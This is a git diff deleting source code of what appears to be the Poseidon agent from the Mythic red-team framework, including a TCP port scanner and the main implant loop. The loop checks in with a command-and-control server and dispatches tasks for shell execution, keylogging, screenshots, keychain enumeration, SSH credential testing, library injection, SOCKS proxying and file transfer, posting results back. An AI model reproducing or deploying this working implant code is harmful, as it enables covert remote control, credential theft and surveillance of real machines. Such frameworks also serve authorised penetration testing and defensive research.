- j.KillChannel <- 1
-}
-
-// ToStub converts a Task item to a TaskStub that's easily
-// transportable between client and server.
-func (t *Task) ToStub() TaskStub {
- return TaskStub{
- Command: t.Command,
- ID: t.TaskID,
- Params: t.Params,
- }
-}
diff --git a/Payload_Types/poseidon/agent_code/portscan/portscan.go b/Payload_Types/poseidon/agent_code/portscan/portscan.go
deleted file mode 100755
index c3e06d78b..000000000
--- a/Payload_Types/poseidon/agent_code/portscan/portscan.go
+++ /dev/null
@@ -1,156 +0,0 @@
-package portscan
-
-import (
- "encoding/json"
- "log"
- "strconv"
- "strings"
- "time"
-
- "pkg/utils/structs"
- "sync"
- "pkg/profiles"
-)
-
-
-
-var (
- mu sync.Mutex
- scanResultChannel = make(chan host)
-)
-
-type PortScanParams struct {
- Hosts []string `json:"hosts"` // Can also be a cidr
- Ports string `json:"ports"`
-}
-
-func doScan(hostList []string, portListStrs []string, job *structs.Job) []CIDR {
- // Variable declarations
- timeout := time.Duration(500) * time.Millisecond
- var portList []PortRange
-
- // populate the portList
- for i := 0; i < len(portListStrs); i++ {
- if strings.Contains(portListStrs[i], "-") && len(portListStrs) == 1 {
- // They want all the ports
- allPorts := PortRange{1, 65535}
- var newList []PortRange
- newList = append(newList, allPorts)
- portList = newList
- break
- }
- var tmpRange PortRange
- if strings.Contains(portListStrs[i], "-") {
- parts := strings.Split(portListStrs[i], "-")
- start, err := strconv.Atoi(parts[0])
- if err == nil {
- end, err := strconv.Atoi(parts[1])
- if err == nil {
- tmpRange = PortRange{
- Start: start,
- End: end,
- }
- portList = append(portList, tmpRange)
- }
- }
- } else {
- intPort, err := strconv.Atoi(portListStrs[i])
- if err == nil {
- tmpRange = PortRange{
- Start: intPort,
- End: intPort,
- }
- portList = append(portList, tmpRange)
- }
- }
- }
-
- // var cidrs []*CIDR
-
- var results []CIDR
- // Scan the hosts
- go job.MonitorStop()
- for i := 0; i < len(hostList); i++ {
- newCidr, err := NewCIDR(hostList[i])
- if err != nil {
- continue
- } else {
- // Iterate through every host in hostCidr
- newCidr.ScanHosts(portList, timeout, job)
- results = append(results, *newCidr)
- // cidrs = append(cidrs, newCidr)
- }
- }
-
- return results
-}
-
-func Run(task structs.Task) {
- msg := structs.Response{}
- msg.TaskID = task.TaskID
- params := PortScanParams{}
-
- err := json.Unmarshal([]byte(task.Params), ¶ms)
- if err != nil {
- msg.UserOutput = err.Error()
- msg.Completed = true
- msg.Status = "error"
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
- if len(params.Hosts) == 0 {
- msg.UserOutput = "No hosts given to scan"
- msg.Completed = true
- msg.Status = "error"
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
- if len(params.Ports) == 0 {
- msg.UserOutput = "No ports given to scan"
- msg.Completed = true
- msg.Status = "error"
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
-
- portStrings := strings.Split(params.Ports, ",")
- log.Println("Beginning portscan...")
- results := doScan(params.Hosts, portStrings, task.Job)
- if task.Job.Monitoring {
- go task.Job.SendKill()
- }
- // log.Println("Finished!")
- data, err := json.MarshalIndent(results, "", " ")
- // // fmt.Println("Data:", string(data))
- if err != nil {
- msg.UserOutput = err.Error()
- msg.Completed = true
- msg.Status = "error"
-
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
- }
- // fmt.Println("Sending on up the data:\n", string(data))
- msg.UserOutput = string(data)
- msg.Completed = true
- resp, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, resp)
- mu.Unlock()
- return
-}
diff --git a/Payload_Types/poseidon/agent_code/portscan/scanutils.go b/Payload_Types/poseidon/agent_code/portscan/scanutils.go
deleted file mode 100755
index 5115b82e8..000000000
--- a/Payload_Types/poseidon/agent_code/portscan/scanutils.go
+++ /dev/null
@@ -1,230 +0,0 @@
-package portscan
-
-import (
- "context"
- "fmt"
- "net"
- "strconv"
- "strings"
- "sync"
- "time"
-
- "pkg/utils/structs"
- "golang.org/x/sync/semaphore"
-)
-
-type PortRange struct {
- Start int
- End int
-}
-
-type host struct {
- IPv4 string `json:"ipv4"`
- Hostname string `json:"hostname"`
- PrettyName string `json:"pretty_name"`
- OpenPorts []int `json:"open_ports"`
- mutex sync.Mutex
- lock *semaphore.Weighted
-}
-
-type CIDR struct {
- Range string `json:"range"`
- Hosts []*host `json:"hosts"`
-}
-
-// Helper function to validate IPv4
-func ValidIPv4(host string) bool {
- parts := strings.Split(host, ".")
-
- if len(parts) < 4 {
- return false
- }
-
- for _, x := range parts {
- if i, err := strconv.Atoi(x); err == nil {
- if i < 0 || i > 255 {
- return false
- }
- } else {
- return false
- }
-
- }
- return true
-}
-
-// Validates that a new host can be created based on hostName
-func NewHost(hostName string) (*host, error) {
- mtx := sync.Mutex{}
- if ValidIPv4(hostName) {
- return &host{
- IPv4: hostName,
- PrettyName: hostName,
- mutex: mtx,
- lock: semaphore.NewWeighted(100), // yeah i hardcoded don't @me
- }, nil
- } else {
- // Try and lookup the hostname
- ips, err := net.LookupIP(hostName)
- if err != nil {
- return nil, err
- }
- hostStr := fmt.Sprintf("%s (%s)", ips[0].String(), hostName)
- return &host{
- IPv4: ips[0].String(),
- Hostname: hostName,
- PrettyName: hostStr,
- mutex: mtx,
- lock: semaphore.NewWeighted(100),
- }, nil
- }
-}
-
-func NewCIDR(cidrStr string) (*CIDR, error) {
- ip, ipnet, err := net.ParseCIDR(cidrStr)
- var hosts []*host
- // Maybe single IP given?
- if err != nil {
- hostInst, err := NewHost(cidrStr)
- // Failed to parse the single ip. Fail out.
- if err != nil {
- return nil, err
- }
- hosts = append(hosts, hostInst)
- } else {
- var ips []string
- for ip := ip.Mask(ipnet.Mask); ipnet.Contains(ip); inc(ip) {
- ips = append(ips, ip.String())
- }
- // remove network address and broadcast address
- for i := 1; i < len(ips)-1; i++ {
- hostInst, err := NewHost(ips[i])
- if err != nil {
- return nil, err
- }
- hosts = append(hosts, hostInst)
- }
- }
- return &CIDR{
- Range: cidrStr,
- Hosts: hosts,
- }, nil
-}
-
-// http://play.golang.org/p/m8TNTtygK0
-func inc(ip net.IP) {
- for j := len(ip) - 1; j >= 0; j-- {
- ip[j]++
- if ip[j] > 0 {
- break
- }
- }
-}
-
-// Scan a single port!
-//export
-func (server *host) ScanPort(port int, timeout time.Duration) {
- target := fmt.Sprintf("%s:%d", server.IPv4, port)
- conn, err := net.DialTimeout("tcp", target, timeout)
-
- if conn != nil {
- conn.Close()
- }
-
- if err != nil {
- if strings.Contains(err.Error(), "too many open files") || strings.Contains(err.Error(), "temporarily unavailable") {
- time.Sleep(timeout)
- server.ScanPort(port, timeout)
- }
- return
- }
- server.mutex.Lock()
- server.OpenPorts = append(server.OpenPorts, port)
- server.mutex.Unlock()
-}
-
-// Scan a sequential range of ports
-func (server *host) ScanPortRange(pr PortRange, timeout time.Duration) {
- wg := sync.WaitGroup{}
-
- for port := pr.Start; port <= pr.End; port++ {
- server.lock.Acquire(context.TODO(), 1)
- wg.Add(1)
- go func(port int) {
- defer server.lock.Release(1)
- defer wg.Done()
- server.ScanPort(port, timeout)
- }(port)
- }
- wg.Wait()
-}
-
-// Scan a smattering of ports based on the slice.
-func (server *host) ScanPortRanges(portList []PortRange, waitTime time.Duration) {
- // maybe start threading scan here
- // lim := Ulimit() / 2
-
- for i := 0; i < len(portList); i++ {
- server.ScanPortRange(portList[i], waitTime)
- }
-}
-
-func (cidrRange *CIDR) ScanHosts(portList []PortRange, waitTime time.Duration, job *structs.Job) {
- wg := sync.WaitGroup{}
- for i := 0; i < len(cidrRange.Hosts); i++ {
- if *job.Stop > 0 {
- break
- }
- server := cidrRange.Hosts[i]
- wg.Add(1)
- go func(server *host, portList []PortRange, waitTime time.Duration) {
- defer wg.Done()
- server.ScanPortRanges(portList, waitTime)
- }(server, portList, waitTime)
- }
- wg.Wait()
-}
-
-func (server *host) FormatOpenPorts() string {
- if len(server.OpenPorts) == 0 {
- return ""
- }
- result := ""
- result += fmt.Sprintf("Scan results for %s:\n", server.PrettyName)
- totalWhiteSpace := 6
- for i := 0; i < len(server.OpenPorts); i++ {
- result += fmt.Sprintf("\t%d%sopen\n", server.OpenPorts[i], strings.Repeat(" ", totalWhiteSpace-len(strconv.Itoa(server.OpenPorts[i]))))
- }
- result += fmt.Sprint("\n")
- return result
-}
-
-func (server *host) GreppableString() string {
- if len(server.OpenPorts) == 0 {
- return ""
- }
- totalWhiteSpace := 45 // arbitrary amt
- padding := totalWhiteSpace - len(server.PrettyName)
- if padding < 1 {
- padding = 1
- }
- portString := "("
- for i := 0; i < len(server.OpenPorts); i++ {
- addStr := fmt.Sprintf("%d/open", server.OpenPorts[i])
- if i != (len(server.OpenPorts) - 1) {
- addStr += ", "
- }
- portString += addStr
- }
- portString += ")"
- line := fmt.Sprintf("%s%s%s", server.PrettyName, strings.Repeat(" ", padding), portString)
- return line
-}
-
-func (cidrRange *CIDR) FormatOpenPorts() string {
- results := ""
- for i := 0; i < len(cidrRange.Hosts); i++ {
- results += cidrRange.Hosts[i].FormatOpenPorts()
- }
- return results
-}
diff --git a/Payload_Types/poseidon/agent_code/poseidon.go b/Payload_Types/poseidon/agent_code/poseidon.go
deleted file mode 100755
index 7b0c33dae..000000000
--- a/Payload_Types/poseidon/agent_code/poseidon.go
+++ /dev/null
@@ -1,698 +0,0 @@
-package main
-
-import (
- "C"
- "encoding/json"
- "fmt"
- "os"
- "os/user"
- "strings"
- "time"
-
- //"log"
- "cat"
- "cp"
- "curl"
- "drives"
- "getenv"
- "getuser"
- "jxa"
- "keylog"
- "keys"
- "kill"
- "libinject"
- "listtasks"
- "ls"
- "mkdir"
- "mv"
- "pkg/profiles"
- "pkg/utils/functions"
- "pkg/utils/structs"
- "portscan"
- "ps"
- "pwd"
- "rm"
- "screencapture"
- "setenv"
- "shell"
- "socks"
- "sort"
- "sshauth"
- "sync"
- "triagedirectory"
- "unsetenv"
- "xpc"
- "list_entitlements"
-)
-
-const (
- NONE_CODE = 100
- EXIT_CODE = 0
-)
-
-var taskSlice []structs.Task
-var mu sync.Mutex
-
-//export RunMain
-func RunMain() {
- main()
-}
-
-//helper to get the total size in bytes of the taskresponse slice
-func totalSize(r []json.RawMessage) int {
- s := 0
-
- for i := 0; i < len(r); i++ {
- s = s + len(r[i])
- }
-
- return s
-}
-
-// Handle File upload responses from apfell
-func handleFileUploadResponse(resp []byte, backgroundTasks map[string](chan []byte)) {
- var taskResp map[string]interface{}
- err := json.Unmarshal(resp, &taskResp)
- if err != nil {
- //log.Printf("Error unmarshal response to task response: %s", err.Error())
- }
-
- if fileid, ok := taskResp["file_id"]; ok {
- if v, exists := backgroundTasks[fileid.(string)]; exists {
- // send data to the channel
- raw, _ := json.Marshal(taskResp)
- go func() {
- v <- raw
- }()
- }
- }
-}
-
-// Handle Screenshot data
-func handleScreenshot(profile profiles.Profile, task structs.Task, backgroundchannel chan []byte, dataChannel chan []screencapture.ScreenShot, backgroundTasks map[string](chan []byte)) {
- results := <-dataChannel
-
- for i := 0; i < len(results); i++ {
- //log.Println("Calling profile.SendFileChunks for screenshot ", i)
- profile.SendFileChunks(task, results[i].Data(), backgroundchannel)
- }
-
- delete(backgroundTasks, task.TaskID)
-}
-
-// Handle TaskResponses from apfell
-func handleResponses(resp []byte, backgroundTasks map[string](chan []byte)) {
- // Handle the response from apfell
- taskResp := structs.TaskResponseMessageResponse{}
- err := json.Unmarshal(resp, &taskResp)
- if err != nil {
- //log.Printf("Error unmarshal response to task response: %s", err.Error())
- return
- }
-
- // loop through each response and check to see if the file_id or task_id matches any existing background tasks
- for i := 0; i < len(taskResp.Responses); i++ {
- var r map[string]interface{}
- err := json.Unmarshal([]byte(taskResp.Responses[i]), &r)
- if err != nil {
- //log.Printf("Error unmarshal response to task response: %s", err.Error())
- break
- }
-
- //log.Printf("Handling response from apfell: %+v\n", r)
- if taskid, ok := r["task_id"]; ok {
- if v, exists := backgroundTasks[taskid.(string)]; exists {
- // send data to the channel
- if exists {
- //log.Println("Found background task that matches task_id ", taskid.(string))
- raw, _ := json.Marshal(r)
- go func() {
- v <- raw
- }()
- continue
- }
- }
- }
- }
-
- return
-}
-
-func main() {
-
- // Initialize the agent and check in
- currentUser, _ := user.Current()
- hostname, _ := os.Hostname()
- currIP := functions.GetCurrentIPAddress()
- currPid := os.Getpid()
- OperatingSystem := functions.GetOS()
- arch := functions.GetArchitecture()
- p := profiles.NewInstance()
- profile := p.(profiles.Profile)
- // Checkin with Apfell. If encryption is enabled, the keyx will occur during this process
- // fmt.Println(currentUser.Name)
- resp := profile.CheckIn(currIP, currPid, currentUser.Username, hostname, OperatingSystem, arch)
- checkIn := resp.(structs.CheckInMessageResponse)
- profile.SetApfellID(checkIn.ID)
-
- tasktypes := map[string]int{
- "exit": EXIT_CODE,
- "shell": 1,
- "screencapture": 2,
- "keylog": 3,
- "download": 4,
- "upload": 5,
- "libinject": 6,
- "ps": 8,
- "sleep": 9,
- "cat": 10,
- "cd": 11,
- "ls": 12,
- "python": 13,
- "jxa": 14,
- "keys": 15,
- "triagedirectory": 16,
- "sshauth": 17,
- "portscan": 18,
- "jobs": 21,
- "jobkill": 22,
- "cp": 23,
- "drives": 24,
- "getuser": 25,
- "mkdir": 26,
- "mv": 27,
- "pwd": 28,
- "rm": 29,
- "getenv": 30,
- "setenv": 31,
- "unsetenv": 32,
- "kill": 33,
- "curl": 34,
- "xpc": 35,
- "socks": 36,
- "listtasks": 37,
- "list_entitlements": 38,
- "none": NONE_CODE,
- }
-
- // Map used to handle go routines that are waiting for a response from apfell to continue
- backgroundTasks := make(map[string](chan []byte))
- //if we have an Active apfell session, enter the tasking loop
- if strings.Contains(checkIn.Status, "success") {
- var fromMythicSocksChannel = make(chan structs.SocksMsg, 1000) // our channel for Socks
- var toMythicSocksChannel = make(chan structs.SocksMsg, 1000) // our channel for Socks
- LOOP:
- for {
- //log.Println("sleeping")
- time.Sleep(time.Duration(profile.SleepInterval()) * time.Second)
-
- // Get the next task
- t := profile.GetTasking()
- task := t.(structs.TaskRequestMessageResponse)
- /*
- Unfortunately, due to the architecture of goroutines, there is no easy way to kill threads.
- This check is to make sure we're running a "killable" process, and if so, add it to the queue.
- The supported processes are:
- - executeassembly
- - triagedirectory
- - portscan
- */
-
- // sort the Tasks
- sort.Slice(task.Tasks, func(i, j int) bool {
- return task.Tasks[i].Timestamp < task.Tasks[j].Timestamp
- })
- // take any Socks messages and ship them off to the socks go routines
- for j := 0; j < len(task.Socks); j++ {
- fromMythicSocksChannel <- task.Socks[j]
- }
- for j := 0; j < len(task.Tasks); j++ {
- if tasktypes[task.Tasks[j].Command] == 3 || tasktypes[task.Tasks[j].Command] == 16 || tasktypes[task.Tasks[j].Command] == 18{
- // log.Println("Making a job for", task.Command)
- job := &structs.Job{
- KillChannel: make(chan int),
- Stop: new(int),
- Monitoring: false,
- }
- task.Tasks[j].Job = job
- taskSlice = append(taskSlice, task.Tasks[j])
- }
- switch tasktypes[task.Tasks[j].Command] {
- case EXIT_CODE:
- // Throw away the response, we don't really need it for anything
- resp := structs.Response{}
- resp.UserOutput = "exiting"
- resp.Completed = true
- resp.TaskID = task.Tasks[j].TaskID
- encResp, err := json.Marshal(resp)
- if err != nil {
- //log.Println("Error marshaling exit response: ", err.Error())
- break
- }
-
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, encResp)
- mu.Unlock()
-
- break LOOP
- case 1:
- // Run shell command
- go shell.Run(task.Tasks[j])
- break
- case 2:
- // Capture screenshot
- backgroundTasks[task.Tasks[j].TaskID] = make(chan []byte)
- dataChan := make(chan []screencapture.ScreenShot)
- go screencapture.Run(task.Tasks[j], dataChan)
- go handleScreenshot(profile, task.Tasks[j], backgroundTasks[task.Tasks[j].TaskID], dataChan, backgroundTasks)
-
- break
- case 3:
- go keylog.Run(task.Tasks[j])
- break
- case 4:
- //File download
- backgroundTasks[task.Tasks[j].TaskID] = make(chan []byte)
- go profile.SendFile(task.Tasks[j], task.Tasks[j].Params, backgroundTasks[task.Tasks[j].TaskID])
- break
- case 5:
- // File upload
- fileDetails := structs.FileUploadParams{}
-
- err := json.Unmarshal([]byte(task.Tasks[j].Params), &fileDetails)
- if err != nil {
- //log.Println("Error in unmarshal: ", err.Error())
- errResp := structs.Response{}
- errResp.Completed = false
- errResp.TaskID = task.Tasks[j].TaskID
- errResp.Status = "error"
- errResp.UserOutput = err.Error()
-
- encErrResp, _ := json.Marshal(errResp)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, encErrResp)
- mu.Unlock()
-
- break
- }
-
- backgroundTasks[fileDetails.FileID] = make(chan []byte)
- //log.Println("Added to backgroundTasks with file id: ", fileDetails.FileID)
- go profile.GetFile(task.Tasks[j], fileDetails, backgroundTasks[fileDetails.FileID])
- break
-
- case 6:
- go libinject.Run(task.Tasks[j])
- break
- case 8:
- go ps.Run(task.Tasks[j])
- break
- case 9:
- // Sleep
- type Args struct {
- Interval int `json:"interval"`
- Jitter int `json:"jitter"`
- }
-
- args := Args{}
- err := json.Unmarshal([]byte(task.Tasks[j].Params), &args)
-
- if err != nil {
- errResp := structs.Response{}
- errResp.Completed = false
- errResp.TaskID = task.Tasks[j].TaskID
- errResp.Status = "error"
- errResp.UserOutput = err.Error()
-
- encErrResp, _ := json.Marshal(errResp)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, encErrResp)
- mu.Unlock()
- break
- }
- output := ""
- if args.Interval >= 0{
- profile.SetSleepInterval(args.Interval)
- output += "Sleep interval updated\n"
- }
- if args.Jitter >= 0{
- profile.SetSleepJitter(args.Jitter)
- output += "Jitter interval updated\n"
- }
- resp := structs.Response{}
- resp.UserOutput = output
- resp.Completed = true
- resp.TaskID = task.Tasks[j].TaskID
- encResp, err := json.Marshal(resp)
- if err != nil {
- errResp := structs.Response{}
- errResp.Completed = false
- errResp.TaskID = task.Tasks[j].TaskID
- errResp.Status = "error"
- errResp.UserOutput = err.Error()
-
- encErrResp, _ := json.Marshal(errResp)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, encErrResp)
- mu.Unlock()
- break
- }
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, encResp)
- mu.Unlock()
-
- break
- case 10:
- //Cat a file
- go cat.Run(task.Tasks[j])
- break
- case 11:
- //Change cwd
- err := os.Chdir(task.Tasks[j].Params)
- msg := structs.Response{}
- msg.TaskID = task.Tasks[j].TaskID
- if err != nil {
- errResp := structs.Response{}
- errResp.Completed = false
- errResp.TaskID = task.Tasks[j].TaskID
- errResp.Status = "error"
- errResp.UserOutput = err.Error()
-
- encErrResp, _ := json.Marshal(errResp)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, encErrResp)
- mu.Unlock()
- break
- }
-
- msg.UserOutput = fmt.Sprintf("changed directory to: %s", task.Tasks[j].Params)
- msg.Completed = true
- encResp, err := json.Marshal(msg)
- if err != nil {
- errResp := structs.Response{}
- errResp.Completed = false
- errResp.TaskID = task.Tasks[j].TaskID
- errResp.Status = "error"
- errResp.UserOutput = err.Error()
-
- encErrResp, _ := json.Marshal(errResp)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, encErrResp)
- mu.Unlock()
- break
- }
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, encResp)
- mu.Unlock()
-
- break
- case 12:
- //List directory contents
- go ls.Run(task.Tasks[j])
- break
- case 14:
- //Execute jxa code in memory
- go jxa.Run(task.Tasks[j])
- break
- case 15:
- // Enumerate keyring data for linux or the keychain for macos
- go keys.Run(task.Tasks[j])
- break
- case 16:
- // Triage a directory and organize files by type
- go triagedirectory.Run(task.Tasks[j])
- break
- case 17:
- // Test credentials against remote hosts
- go sshauth.Run(task.Tasks[j])
- break
- case 18:
- // Scan ports on remote hosts.
- go portscan.Run(task.Tasks[j])
- break
- case 21:
- // Return the list of jobs.
-
- msg := structs.Response{}
- msg.TaskID = task.Tasks[j].TaskID
- //log.Println("Number of tasks processing:", len(taskSlice))
- //fmt.Println(taskSlice)
- // For graceful error handling server-side when zero jobs are processing.
- if len(taskSlice) == 0 {
- msg.Completed = true
- msg.UserOutput = "0 jobs"
- } else {
- var jobList []structs.TaskStub
- for _, x := range taskSlice {
- jobList = append(jobList, x.ToStub())
- }
- jsonSlices, err := json.MarshalIndent(jobList, "", " ")
- //log.Println("Finished marshalling tasks into:", string(jsonSlices))
- if err != nil {
- //log.Println("Failed to marshal :'(")
- //log.Println(err.Error())
- msg.UserOutput = err.Error()
- msg.Completed = true
- msg.Status = "error"
-
- } else {
- msg.UserOutput = string(jsonSlices)
- msg.Completed = true
- }
-
- }
- rawmsg, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, rawmsg)
- mu.Unlock()
-
- //log.Println("returned!")
- break
- case 22:
- // Kill the job
- msg := structs.Response{}
- msg.TaskID = task.Tasks[j].TaskID
-
- foundTask := false
- for _, taskItem := range taskSlice {
- if taskItem.TaskID == task.Tasks[j].Params {
- go taskItem.Job.SendKill()
- foundTask = true
- }
- }
-
- if foundTask {
- msg.UserOutput = fmt.Sprintf("Sent kill signal to Job ID: %s", task.Tasks[j].Params)
- msg.Completed = true
- } else {
- msg.UserOutput = fmt.Sprintf("No job with ID: %s", task.Tasks[j].Params)
- msg.Completed = true
- }
-
- rawmsg, _ := json.Marshal(msg)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, rawmsg)
- mu.Unlock()
- break
- case 23:
- // copy a file!
- go cp.Run(task.Tasks[j])
- break
- case 24:
- // List drives on a machine
- go drives.Run(task.Tasks[j])
- break
- case 25:
- // Retrieve information about the current user.
- go getuser.Run(task.Tasks[j])
- break
- case 26:
- // Make a directory
- go mkdir.Run(task.Tasks[j])
- break
- case 27:
- // Move files
- go mv.Run(task.Tasks[j])
- break
- case 28:
- // Print working directory
- go pwd.Run(task.Tasks[j])
- break
- case 29:
- go rm.Run(task.Tasks[j])
- break
- case 30:
- go getenv.Run(task.Tasks[j])
- break
- case 31:
- go setenv.Run(task.Tasks[j])
- break
- case 32:
- go unsetenv.Run(task.Tasks[j])
- break
- case 33:
- go kill.Run(task.Tasks[j])
- break
- case 34:
- go curl.Run(task.Tasks[j])
- break
- case 35:
- go xpc.Run(task.Tasks[j])
- break
- case 36:
- type Args struct {
- Action string `json:"action"`
- Port int `json:"port"`
- }
-
- args := Args{}
- err := json.Unmarshal([]byte(task.Tasks[j].Params), &args)
-
- if err != nil {
- errResp := structs.Response{}
- errResp.Completed = false
- errResp.TaskID = task.Tasks[j].TaskID
- errResp.Status = "error"
- errResp.UserOutput = err.Error()
-
- encErrResp, _ := json.Marshal(errResp)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, encErrResp)
- mu.Unlock()
- break
- }
-
- go socks.Run(task.Tasks[j], fromMythicSocksChannel, toMythicSocksChannel)
- resp := structs.Response{}
- resp.UserOutput = "Socks started"
- resp.Completed = true
- resp.TaskID = task.Tasks[j].TaskID
- encResp, err := json.Marshal(resp)
- if err != nil {
- errResp := structs.Response{}
- errResp.Completed = false
- errResp.TaskID = task.Tasks[j].TaskID
- errResp.Status = "error"
- errResp.UserOutput = err.Error()
-
- encErrResp, _ := json.Marshal(errResp)
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, encErrResp)
- mu.Unlock()
- break
- }
- mu.Lock()
- profiles.TaskResponses = append(profiles.TaskResponses, encResp)
- mu.Unlock()
- break
-
- case 37:
- go listtasks.Run(task.Tasks[j])
- break
- case 38:
- go list_entitlements.Run(task.Tasks[j])
- break
- case NONE_CODE:
- // No tasks, do nothing
- break
- }
- }
-
- // loop through all task responses
-
- responseMsg := structs.TaskResponseMessage{}
- responseMsg.Action = "post_response"
- responseMsg.Socks = getSocksChannelData(toMythicSocksChannel)
- if len(responseMsg.Socks) > 0 || len(profiles.TaskResponses) > 0 {
- responseMsg.Responses = make([]json.RawMessage, 0)
- responseMsg.Delegates = make([]json.RawMessage, 0)
- mu.Lock()
- responseMsg.Responses = append(responseMsg.Responses, profiles.TaskResponses...)
- profiles.TaskResponses = make([]json.RawMessage, 0)
- mu.Unlock()
- encResponse, _ := json.Marshal(responseMsg)
- //log.Printf("Response to apfell: %s\n", encResponse)
- // Post all responses to apfell
- resp := profile.PostResponse(encResponse, true)
- if len(resp) > 0 {
- //log.Printf("Raw resp: \n %s", string(resp))
- go handleResponses(resp, backgroundTasks)
- }
- }
- // Iterate over file uploads
- if len(profiles.UploadResponses) > 0 {
- var uploadMsg json.RawMessage
- if len(profiles.UploadResponses) > 1 {
- // Pop from the front if there is more than one
- uploadMsg, profiles.UploadResponses = profiles.UploadResponses[0], profiles.UploadResponses[1:]
- } else {
- uploadMsg = profiles.UploadResponses[0]
- profiles.UploadResponses = make([]json.RawMessage, 0)
- }
- //encResponse, _ := json.Marshal(uploadMsg)
- // Post all responses to apfell
- resp := profile.PostResponse([]byte(uploadMsg), true)
- if len(resp) > 0 {
- go handleFileUploadResponse(resp, backgroundTasks)
- }
-
- }
- }
-
- // loop through all task responses before exiting
-
- responseMsg := structs.TaskResponseMessage{}
- responseMsg.Action = "post_response"
- responseMsg.Responses = make([]json.RawMessage, 0)
- responseMsg.Delegates = make([]json.RawMessage, 0)
- responseMsg.Socks = getSocksChannelData(toMythicSocksChannel)
- size := 512000 // Set the chunksize
- // Chunk the response
- for j := 0; j < len(profiles.TaskResponses); j++ {
- if len(profiles.TaskResponses[j]) < size {
- responseMsg.Responses = append(responseMsg.Responses, profiles.TaskResponses[j])
- } else if len(responseMsg.Responses) < 1 && len(profiles.TaskResponses[j]) > size { // If the response is bigger than chunk size and there aren't any responses in responseMsg.Responses
- responseMsg.Responses = append(responseMsg.Responses, profiles.TaskResponses[j])
- if j < len(profiles.TaskResponses)-1 {
- profiles.TaskResponses = profiles.TaskResponses[j+1:]
- } else {
- profiles.TaskResponses = make([]json.RawMessage, 0)
- }
- break
- } else if len(responseMsg.Responses) > 0 && len(profiles.TaskResponses[j]) > size {
- profiles.TaskResponses = profiles.TaskResponses[j:]
- break
- }
-
- if len(responseMsg.Responses) == len(profiles.TaskResponses) {
- profiles.TaskResponses = make([]json.RawMessage, 0)
- break
- }
- size = size - len(profiles.TaskResponses[j])
- }
-
- encResponse, _ := json.Marshal(responseMsg)
- // Post all responses to apfell
- _ = profile.PostResponse(encResponse, true)
-
- }
-}
-
-func getSocksChannelData(toMythicSocksChannel chan structs.SocksMsg) []structs.SocksMsg {
- var data = make([]structs.SocksMsg, 0)
- for {
- select {
- case msg, ok := <-toMythicSocksChannel:
- if ok {
- //fmt.Printf("Value %d was read for post_response.\n", msg)
- data = append(data, msg)
- } else {
- //fmt.Println("Channel closed!")
- return data
- }
- default:
- //fmt.Println("No value ready, moving on.")
- return data
- }
- }
-}
diff --git a/Payload_Types/poseidon/agent_code/ps/apple_sandbox_darwin.h b/Payload_Types/poseidon/agent_code/ps/apple_sandbox_darwin.h
deleted file mode 100644
index ea848455b..000000000
--- a/Payload_Types/poseidon/agent_code/ps/apple_sandbox_darwin.h
+++ /dev/null
@@ -1,181 +0,0 @@
-/*
- * Copyright (c) 2006-2010 Apple Inc. All rights reserved.
- *
- * @APPLE_LICENSE_HEADER_START@
- *
- * This file contains Original Code and/or Modifications of Original Code
- * as defined in and that are subject to the Apple Public Source License
- * Version 2.0 (the 'License'). You may not use this file except in
- * compliance with the License. Please obtain a copy of the License at
- * http://www.opensource.apple.com/apsl/ and read it before using this
- * file.
- *
- * The Original Code and all software distributed under the License are
- * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
- * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
- * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
- * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
- * Please see the License for the specific language governing rights and
- * limitations under the License.
- *
- * @APPLE_LICENSE_HEADER_END@
- */
-#ifndef _SANDBOX_H_
-#define _SANDBOX_H_
-
-#include
-#include
-#include
-
-__BEGIN_DECLS
-/*
- * @function sandbox_init
- * Places the current process in a sandbox with a profile as
- * specified. If the process is already in a sandbox, the new profile
- * is ignored and sandbox_init() returns an error.
- *
- * @param profile (input) The Sandbox profile to be used. The format
- * and meaning of this parameter is modified by the `flags' parameter.
- *
- * @param flags (input) Must be SANDBOX_NAMED. All other
- * values are reserved.
- *
- * @param errorbuf (output) In the event of an error, sandbox_init
- * will set `*errorbuf` to a pointer to a NUL-terminated string
- * describing the error. This string may contain embedded newlines.
- * This error information is suitable for developers and is not
- * intended for end users.
- *
- * If there are no errors, `*errorbuf` will be set to NULL. The
- * buffer `*errorbuf` should be deallocated with `sandbox_free_error`.
- *
- * @result 0 on success, -1 otherwise.
- */
-int sandbox_init(const char *profile, uint64_t flags, char **errorbuf);
-
-/*
- * @define SANDBOX_NAMED The `profile' argument specifies a Sandbox
- * profile named by one of the kSBXProfile* string constants.
- */
-#define SANDBOX_NAMED 0x0001
-
-#ifdef __APPLE_API_PRIVATE
-
-/* The following flags are reserved for Mac OS X. Developers should not
- * depend on their availability.
- */
-
-/*
- * @define SANDBOX_NAMED_BUILTIN The `profile' argument specifies the
- * name of a builtin profile that is statically compiled into the
- * system.
- */
